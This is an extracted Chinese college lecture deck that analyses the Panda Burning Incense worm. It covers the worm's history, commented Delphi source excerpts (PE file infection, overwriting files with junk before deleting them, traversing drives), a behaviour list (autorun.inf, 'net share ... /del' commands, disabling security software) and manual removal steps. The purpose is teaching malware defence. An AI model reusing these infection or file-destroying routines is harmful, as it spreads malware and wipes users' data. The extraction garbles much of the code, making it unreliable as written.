熊猫烧香病毒剖析课件

上传人:沈*** 文档编号:241601865 上传时间:2024-07-08 格式:PPT 页数:39 大小:698.50KB
返回 下载 相关 举报
熊猫烧香病毒剖析课件_第1页
第1页 / 共39页
熊猫烧香病毒剖析课件_第2页
第2页 / 共39页
熊猫烧香病毒剖析课件_第3页
第3页 / 共39页
点击查看更多>>
资源描述
Virus计算机病毒与防治计算机病毒与防治重庆电子工程职业学院重庆电子工程职业学院计算机病毒与防治课程小组教学单元4-4 蠕虫病毒防治熊猫烧香病毒源码分析熊猫烧香病毒特点 熊猫烧香病毒行为分析第二讲第二讲熊猫烧香蠕虫病毒剖析熊猫烧香蠕虫病毒剖析计算机病毒与防治课程小组 熊猫烧香病毒的手工清除熊猫烧香病毒特点计算机病毒与防治课程小组病毒名称 熊猫烧香 又称 尼姆亚、武汉男生、worm.whBoyworm.whBoy.、worm.nimayaworm.nimaya.病毒类型 蠕虫病毒危险级别 影响系统 Win 9X/ME/NT/2000/XP/2003Win 9X/ME/NT/2000/XP/2003熊猫烧香病毒特点计算机病毒与防治课程小组2006年底,我国互联网上大规模爆发“熊猫烧香”病毒及其变种,该病毒通过多种方式进行传播,同时该病毒还具有盗取用户游戏账号、账号等功能。该病毒传播速度快,危害范围广,截至案发为止,已有上百万个人用户、网吧及企业局域网用户遭受感染和破坏,引起社会各界高度关注。瑞星2006安全报告将其列为十大病毒之首,在2006年度中国大陆地区电脑病毒疫情和互联网安全报告的十大病毒排行中一举成为“毒王”。熊猫烧香病毒特点计算机病毒与防治课程小组熊猫烧香一个感染型的蠕虫病毒,它能感染系统中exe,com,pif,src,html,asp等文件,它还能中止大量的反病毒软件进程并且会删除扩展名为gho的文件,该文件是一系统备份工具GHOST的备份文件,使用户的系统备份文件丢失。被感染的用户系统中所有.exe可执行文件全部被改成熊猫举着三根香的模样。熊猫烧香病毒特点计算机病毒与防治课程小组湖北省公安厅2007年2月12日宣布,根据统一部署,湖北省网监在多个省市公安机关的配合下,一举侦破了制作传播“熊猫烧香”病毒案,抓获李俊(男,岁,武汉新洲区人)。病毒制造者熊猫烧香病毒源码分析计算机病毒与防治课程小组含有病毒体的文件被运行后,病毒将自身拷贝至系统目录,同时修改注册表将自身设置为开机启动项,并遍历各个驱动器,将自身写入磁盘根目录下,增加一个Autorun.inf文件,使得用户打开该盘时激活病毒体。随后病毒体开一个线程进行本地文件感染,同时开另外一个线程连接网站下载ddos程序进行发动恶意攻击。病毒结构 主程序流程图熊猫烧香病毒源码分析计算机病毒与防治课程小组Program Program japussyjapussy;usesuseswindows,windows,sysutilssysutils,classes,classes,graphics,graphics,shellapishellapi,registry;registry;constconstheadersizeheadersize=82432;82432;/病毒体的大小iconoffseticonoffset=$12eb8;$12eb8;/pe文件主图标的偏移量/查找2800000020的十六进制字符串可以找到主图标的偏移量 headersizeheadersize=38912;38912;/upx压缩过病毒体的大小iconoffseticonoffset=$92bc;$92bc;/upx压缩过pe文件主图标的偏移量量 iconsizeiconsize=$2e8;$2e8;/pe文件主图标的大小-744字节icontailicontail=iconoffseticonoffset+iconsizeiconsize;/pe文件主图标的尾部idid=$44444444;$44444444;/感染标记病毒文件初始信息熊猫烧香病毒源码分析计算机病毒与防治课程小组/垃圾码,以备写入垃圾码,以备写入catchwordcatchword=ififa araceraceneedneedtotobebekilledkilledout,out,ititmustmustbebeyamatoyamato.+ififa acountrycountryneedneedtotobebedestroyed,destroyed,ititmustmustbebejapanjapan!+*w32.japussy.worm.aw32.japussy.worm.a*;*;$r$r*.res*.resfunctionfunctionregisterserviceprocess(dwprocessidregisterserviceprocess(dwprocessid,dwtypedwtype:integeinteger):r):integer;integer;stdcallstdcall;externalexternalkernel32.dll;kernel32.dll;/函数声明varvartmpfiletmpfile:string;string;sisi:startupinfostartupinfo;pi:pi:process_informationprocess_information;isjapisjap:booleanboolean=false;false;/日文操作系统标记熊猫烧香病毒源码分析计算机病毒与防治课程小组=判断是否为判断是否为win9xwin9x=functionfunctioniswin9x:iswin9x:booleanboolean;varvarverver:tosversioninfotosversioninfo;beginbeginresultresult:=:=false;false;ver.dwosversioninfosizever.dwosversioninfosize:=:=sizeof(tosvesizeof(tosversioninforsioninfo););ififnotnotgetversionex(vergetversionex(ver)thenthenexit;exit;ifif(ver.dwplatformidver.dwplatformid=ver_platform_winver_platform_win32_windows)32_windows)thenthen/win9x/win9xresultresult:=:=true;true;end;end;熊猫烧香病毒源码分析计算机病毒与防治课程小组=在流之间复制在流之间复制=procedureprocedurecopystream(srccopystream(src:tstreamtstream;sstasstartposrtpos:integer;integer;dstdst:tstreamtstream;dstartposdstartpos:integer;integer;count:count:integer);integer);varvarscurposscurpos,dcurposdcurpos:integer;integer;beginbeginscurposscurpos:=:=src.positionsrc.position;dcurposdcurpos:=:=dst.positiondst.position;src.seek(sstartpossrc.seek(sstartpos,0);0);dst.seek(dstartposdst.seek(dstartpos,0);0);dst.copyfrom(srcdst.copyfrom(src,count);count);src.seek(scurpossrc.seek(scurpos,0);0);dst.seek(dcurposdst.seek(dcurpos,0);0);end;end;熊猫烧香病毒源码分析计算机病毒与防治课程小组=将宿主文件从已感染的将宿主文件从已感染的PEPE文件中分离出来,以备使用文件中分离出来,以备使用=procedureprocedureextractfile(filenameextractfile(filename:string);string);varvarsstreamsstream,dstreamdstream:tfilestreamtfilestream;beginbegin try try sstreamsstream:=:=tfilestream.create(paramstr(0),tfilestream.create(paramstr(0),fmopenreadfmopenreadororfmsharedenynonefmsharedenynone););try try dstreamdstream:=:=tfilestream.create(filenametfilestream.create(filename,fmcreatefmcreate););try try sstream.seek(headersizesstream.seek(headersize,0);0);/跳过头部的病毒部分 dstream.copyfrom(sstreamdstream.copyfrom(sstream,sstream.sizesstream.size-headersizeheadersize););finally finally dstream.freedstream.free;end;end;finallyfinallysstream.freesstream.free;end;end;熊猫烧香病毒源码分析计算机病毒与防治课程小组=填充填充startupinfostartupinfo结构结构=procedureprocedurefillstartupinfo(varfillstartupinfo(varsisi:startstartupinfoupinfo;state:state:word);word);beginbeginsi.cbsi.cb:=:=sizeof(sisizeof(si););si.lpreservedsi.lpreserved:=:=nil;nil;si.lpdesktopsi.lpdesktop:=:=nil;nil;si.lptitlesi.lptitle:=:=nil;nil;si.dwflagssi.dwflags:=:=startf_useshowwindowstartf_useshowwindow;si.wshowwindowsi.wshowwindow:=:=state;state;si.cbreserved2si.cbreserved2:=:=0;0;si.lpreserved2si.lpreserved2:=:=nil;nil;end;end;=发带毒邮件发带毒邮件=procedureproceduresendmailsendmail;/此处省略了带危害性的代码beginbeginend;end;熊猫烧香病毒源码分析计算机病毒与防治课程小组=感染感染PEPE文件文件=procedureprocedureinfectonefile(filenameinfectonefile(filename:string);string);varvarhdrstreamhdrstream,srcstreamsrcstream:tfilestreamtfilestream;icostreamicostream,dststreamdststream:tmemorystreamtmemorystream;iidiid:longintlongint;aiconaicon:ticonticon;infected,infected,ispeispe:booleanboolean;i:i:integer;integer;bufbuf:array0.1array0.1ofofchar;char;beginbegintrytry /出错则文件正在被使用,退出ififcomparetext(filenamecomparetext(filename,japussy.exejapussy.exe)=0 0thenthen /是自己则不感染exit;exit;infectedinfected:=:=false;false;ispeispe:=:=false;false;熊猫烧香病毒源码分析计算机病毒与防治课程小组srcstreamsrcstream:=:=tfilestream.create(filenametfilestream.create(filename,fmopenreadfmopenread););trytryforfori i:=:=0 0toto$108$108dodo /检查pe文件头beginbeginsrcstream.seek(isrcstream.seek(i,sofrombeginningsofrombeginning););srcstream.read(bufsrcstream.read(buf,2);2);ifif(buf0(buf0=#80)#80)andand(buf1(buf1=#69)#69)thenthen /pe标记beginbeginispeispe:=:=true;true;/是pe文件break;break;end;end;end;end;srcstream.seek(-4,srcstream.seek(-4,sofromendsofromend););/检查感染标记检查感染标记srcstream.read(iidsrcstream.read(iid,4);4);ifif(iidiid=id)id)oror(srcstream.sizesrcstream.size 10240)10240)thenthen /太小的文件不感染infectedinfected:=:=true;true;finallyfinallysrcstream.freesrcstream.free;end;end;熊猫烧香病毒源码分析计算机病毒与防治课程小组ififinfectedinfectedoror(not(notispeispe)thenthen /如果感染过了或不是pe文件则退出exit;exit;icostreamicostream:=:=tmemorystream.createtmemorystream.create;dststreamdststream:=:=tmemorystream.createtmemorystream.create;trytryaiconaicon:=:=ticon.createticon.create;trytry/得到被感染文件的主图标(744字节),存入流aicon.releasehandleaicon.releasehandle;aicon.handleaicon.handle:=:=extracticon(hinstanceextracticon(hinstance,pchar(filenamepchar(filename),),0);0);aicon.savetostream(icostreamaicon.savetostream(icostream););finallyfinallyaicon.freeaicon.free;end;end;熊猫烧香病毒源码分析计算机病毒与防治课程小组srcstreamsrcstream:=:=tfilestream.create(filenametfilestream.create(filename,fmopenreadfmopenread););/头文件hdrstreamhdrstream:=:=tfilestream.create(paramstr(0),tfilestream.create(paramstr(0),fmopenreadfmopenreadororfmsharedenynfmsharedenynoneone););trytry/写入病毒体主图标之前的数据copystream(hdrstreamcopystream(hdrstream,0,0,dststreamdststream,0,0,iconoffseticonoffset););/写入目前程序的主图标copystream(icostreamcopystream(icostream,22,22,dststreamdststream,iconoffseticonoffset,iconsizeiconsize););/写入病毒体主图标到病毒体尾部之间的数据copystream(hdrstreamcopystream(hdrstream,icontailicontail,dststreamdststream,icontailicontail,headersizeheadersize-icontailicontail););/写入宿主程序copystream(srcstreamcopystream(srcstream,0,0,dststreamdststream,headersizeheadersize,srcstream.sizesrcstream.size););/写入已感染的标记dststream.seek(0,dststream.seek(0,2);2);iidiid:=:=$44444444;$44444444;dststream.write(iiddststream.write(iid,4);4);finallyfinally熊猫烧香病毒源码分析计算机病毒与防治课程小组=将目标文件写入垃圾码后删除将目标文件写入垃圾码后删除=procedureproceduresmashfile(filenamesmashfile(filename:string);string);varvarfilehandlefilehandle:integer;integer;i,i,size,size,mass,mass,max,max,lenlen:integer;integer;BeginBegintrytrysetfileattributes(pchar(filenamesetfileattributes(pchar(filename),),0);0);/去掉只读属性filehandlefilehandle:=:=fileopen(filenamefileopen(filename,fmopenwritefmopenwrite););/打开文件trytrysizesize:=:=getfilesize(filehandlegetfilesize(filehandle,nil);nil);/文件大小文件大小i i:=:=0;0;randomize;randomize;maxmax:=:=random(15);random(15);/写入垃圾码的随机次数ififmaxmax 5 5thenthenmaxmax:=:=5;5;熊猫烧香病毒源码分析计算机病毒与防治课程小组massmass:=:=sizesizedivdivmax;max;/每个间隔块的大小lenlen:=:=length(catchwordlength(catchword););whilewhilei i maxmaxdodobeginbeginfileseek(filehandlefileseek(filehandle,i i*mass,mass,0);0);/定位/写入垃圾码,将文件彻底破坏掉filewrite(filehandlefilewrite(filehandle,catchword,catchword,lenlen););inc(iinc(i););end;end;finallyfinallyfileclose(filehandlefileclose(filehandle););/关闭文件end;end;/删除之deletefile(pchar(filenamedeletefile(pchar(filename););熊猫烧香病毒源码分析计算机病毒与防治课程小组=获得可写的驱动器列表获得可写的驱动器列表=functionfunctiongetdrivesgetdrives:string;string;varvardisktypedisktype:word;word;d:d:char;char;strstr:string;string;i:i:integer;integer;beginbeginforfori i:=:=0 0toto2525dodo/遍历26个字母beginbegind d:=:=chr(ichr(i+65);65);strstr:=:=d d+:;:;disktypedisktype:=:=getdrivetype(pchar(strgetdrivetype(pchar(str););/得到本地磁盘和网络盘ifif(disktypedisktype=drive_fixeddrive_fixed)oror(disktypedisktype=drive_remotedrive_remote)thenthenresultresult:=:=resultresult+d;d;end;end;熊猫烧香病毒源码分析计算机病毒与防治课程小组=遍历目录,感染和摧毁文件遍历目录,感染和摧毁文件=procedureprocedureloopfiles(pathloopfiles(path,mask:mask:string);string);varvari,i,count:count:integer;integer;fn,fn,ext:ext:string;string;subdirsubdir:tstringststrings;searchrecsearchrec:tsearchrectsearchrec;msgmsg:tmsgtmsg;functionfunctionisvaliddir(searchrecisvaliddir(searchrec:tsearchrectsearchrec):):integer;integer;beginbeginifif(searchrec.attrsearchrec.attr16)16)andand(searchrec.namesearchrec.name.).)andand(searchrec.namesearchrec.name.).)thenthenresultresult:=:=0 0 /不是目录elseelseifif(searchrec.attrsearchrec.attr=16)16)andand(searchrec.namesearchrec.name.).)andand(searchrec.namesearchrec.name.).)thenthenresultresult:=:=1 1 /不是根目录elseelseresultresult:=:=2;2;/是根目录end;end;熊猫烧香病毒源码分析计算机病毒与防治课程小组beginbeginifif(findfirst(pathfindfirst(path+mask,mask,faanyfilefaanyfile,searchrecsearchrec)=0)0)thenthenbeginbeginrepeat repeat peekmessage(msgpeekmessage(msg,0,0,0,0,0,0,pm_removepm_remove););/调整消息队列,避免引起怀疑ififisvaliddir(searchrecisvaliddir(searchrec)=0 0thenthenbeginbeginfnfn:=:=pathpath+searchrec.namesearchrec.name;extext:=:=uppercase(extractfileext(fnuppercase(extractfileext(fn););ifif(ext(ext=.exe).exe)oror(ext(ext=.scrscr)thenthenbegin begin infectonefile(fninfectonefile(fn););/感染可执行文件endendelseelseifif(ext(ext=.htmhtm)oror(ext(ext=.html).html)oror(ext(ext=.asp).asp)thenthenbeginbegin/感染html和asp文件,将base64编码后的病毒写入/感染浏览此网页的所有用户endend熊猫烧香病毒源码分析计算机病毒与防治课程小组elseelseififextext=.wabwab thenthen /outlook地址簿文件beginbegin/获取outlook邮件地址endendelseelseififextext=.adcadc then then /foxmail地址自动完成文件beginbegin/获取foxmail邮件地址endendelseelseififextext=indind thenthen /foxmail地址簿文件beginbegin/获取foxmail邮件地址子过程是典型的遍历本机中所有可用盘中的所有子目录下的所有文件并施行相应操作的编码。在确定当前文件为可执行文件(仅针对.EXE和.SCR文件)后,调用子过程InfectOneFile进行特定的感染。熊猫烧香病毒源码分析计算机病毒与防治课程小组=遍历磁盘上所有的文件遍历磁盘上所有的文件=procedureprocedureinfectfilesinfectfiles;varvardriverlistdriverlist:string;string;i,i,lenlen:integer;integer;beginbeginififgetacpgetacp=932932thenthen /日文操作系统isjapisjap:=:=true;true;driverlistdriverlist:=:=getdrivesgetdrives;/得到可写的磁盘列表lenlen:=:=length(driverlistlength(driverlist););whilewhiletruetruedo do /死循环beginbeginforfori i:=:=lenlendowntodownto1 1dodo /遍历每个磁盘驱动器loopfiles(driverlistloopfiles(driverlist+:,:,*.*);*.*);/感染之sendmailsendmail;/发带毒邮件sleep(1000sleep(1000*6060*5);5);/睡眠5分钟熊猫烧香病毒源码分析计算机病毒与防治课程小组这里的核心是后面的死循环。先让我们分析较简单的“发带毒邮件”部分。从后面病毒具体遍历可用磁盘并执行具体感染过程可知,此过程中,它会取得安装在本机中的常用邮件客户端程序(Outlook,FoxMail)相应电子邮件信息。其目的是:取得重要邮箱地址及相应密码,然后向这些邮件地址群发带毒的电子邮件,从而达到利用网络传播自身的目的。熊猫烧香病毒源码分析计算机病毒与防治课程小组=主程序开始主程序开始=beginbeginififiswin9xiswin9xthenthen/是win9xregisterserviceprocess(getcurrentprocessidregisterserviceprocess(getcurrentprocessid,1)1)/注册为服务进程elseelse/winntwinntbeginbegin/远程线程映射到远程线程映射到explorerexplorer进程进程end;end;虽然源码提供者省略了相应实现,但这是比较基本的编程实现。通过把自身注册为服务进程,可以使自己随着系统的启动一起启动。当然,还可以进一步施加技巧而使自己从Windows任务管理器下隐藏显示。熊猫烧香病毒源码分析计算机病毒与防治课程小组/如果是原始病毒体自己ififcomparetext(extractfilename(paramstr(0),comparetext(extractfilename(paramstr(0),japussy.exejapussy.exe)=0 0thentheninfectfilesinfectfiles /感染和发邮件elseelse /已寄生于宿主程序上了,开始工作beginbegintmpfiletmpfile:=:=paramstr(0);paramstr(0);/创建临时文件delete(tmpfiledelete(tmpfile,length(tmpfilelength(tmpfile)-4,4,4);4);tmpfiletmpfile:=:=tmpfiletmpfile+#32#32+.exe;.exe;/真正的宿主文件,多一个空格extractfile(tmpfileextractfile(tmpfile););/分离之fillstartupinfo(sifillstartupinfo(si,sw_showdefaultsw_showdefault););createprocess(pchar(tmpfilecreateprocess(pchar(tmpfile),),pchar(tmpfilepchar(tmpfile),),nil,nil,nil,nil,true,true,0,0,nil,nil,.,.,sisi,pi);pi);/创建新进程运行之infectfilesinfectfiles;/感染和发邮件end;end;熊猫烧香病毒主要行为分析计算机病毒与防治课程小组熊猫烧香病毒样本 熊猫烧香病毒感染D盘中的文件熊猫烧香病毒主要行为分析计算机病毒与防治课程小组熊猫烧香病毒主要行为分析计算机病毒与防治课程小组(2)复制自身到系统目录下:C:WINDOWSSystem32Driversspoclsv.exe。熊猫烧香病毒在系统盘下生成的文件熊猫烧香病毒主要行为分析计算机病毒与防治课程小组(3)创建启动项:HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunsvcshare=%System%driversspoclsv.exe 熊猫烧香在注册表中添加启动项熊猫烧香病毒主要行为分析计算机病毒与防治课程小组(4)在各分区根目录生成病毒副本:X:X:setup.exesetup.exeX:X:autorun.infautorun.inf其中autorun.inf中的内容是:AutoRunAutoRun OPEN=OPEN=setup.exesetup.exeshellexecuteshellexecute=setup.exesetup.exeshellAutocommand=shellAutocommand=setup.exesetup.exe熊猫烧香病毒主要行为分析计算机病毒与防治课程小组(5)使用net share命令关闭管理共享:cmd.execmd.exe/c net share X$/del/y /c net share X$/del/y cmd.execmd.exe/c net share admin$/del/y/c net share admin$/del/y(6)修改“显示所有文件和文件夹”设置:HKEY_LOCAL_MACHINESOFTWAREMicrosoftHKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvanWindowsCurrentVersionExplorerAdvancedFolderHiddenSHOWALLcedFolderHiddenSHOWALL CheckedValueCheckedValue=dword:00000000=dword:00000000(7)尝试关闭安全软件相关窗口:天网防火墙进程、VirusScanVirusScan 、NOD32NOD32等(8)尝试结束安全软件相关进程:Mcshield.exeMcshield.exe VsTskMgr.exeVsTskMgr.exe等等 熊猫烧香病毒主要行为分析计算机病毒与防治课程小组(9)禁用安全软件相关服务:Schedule Schedule sharedaccesssharedaccess RsCCenterRsCCenter 等(10)删除安全软件相关启动项:SOFTWAREMicrosoftWindowsSOFTWAREMicrosoftWindowsCurrentVersionRunRavTaskCurrentVersionRunRavTask SOFTWAREMicrosoftWindows SOFTWAREMicrosoftWindowsCurrentVersionRunKvMonXPCurrentVersionRunKvMonXP(11)遍历目录修改htm/html/asp/php/jsp/aspxhtm/html/asp/php/jsp/aspx等网页文件,在这些文件尾部追加信息:(12)在访问过的目录下生成Desktop_.ini文件,内容为当前日期。(13)此外,病毒还会尝试删除GHO文件。熊猫烧香病毒主要行为分析计算机病毒与防治课程小组病毒还尝试使用弱密码将副本以GameSetup.exe的文件名复制到局域网内其它计算机中。弱密码文件 熊猫烧香病毒手工清除计算机病毒与防治课程小组(1)结束病毒进程:%System%driversspoclsv.exe 查看当前运行spoclsv.exe的路径(2)删除病毒文件:%System%driversspoclsv.exe不同的spoclsv.exe变种,此目录可不同。有的病毒变种可能在以下目录中:C:WINDOWSSystem32Driversspoclsv.exe。(3)删除病毒启动项:HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunsvcshare=%System%driversspoclsv.exe 熊猫烧香病毒手工清除计算机病毒与防治课程小组(4)通过分区盘符右键菜单中的“打开”进入分区根目录,删除根目录下的病毒文件:X:setup.exeX:autorun.inf(5)恢复被修改的“显示所有文件和文件夹”设置:HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvancedFolderHiddenSHOWALLCheckedValue=dword:00000001(6)修复或重新安装被破坏的安全软件。本讲小结熊猫烧香病毒特点熊猫烧香病毒源码分析熊猫烧香主要行为分析 具有典型蠕虫病毒 行为分析能力 反病毒能力计算机病毒与防治课程小组 熊猫烧香病毒手工清除Virus
展开阅读全文
相关资源
正为您匹配相似的精品文档
相关搜索

最新文档


当前位置:首页 > 管理文书 > 施工组织


copyright@ 2023-2025  zhuangpeitu.com 装配图网版权所有   联系电话:18123376007

备案号:ICP2024067431-1 川公网安备51140202000466号


本站为文档C2C交易模式,即用户上传的文档直接被用户下载,本站只是中间服务平台,本站所有文档下载所得的收益归上传人(含作者)所有。装配图网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。若文档所含内容侵犯了您的版权或隐私,请立即通知装配图网,我们立即给予删除!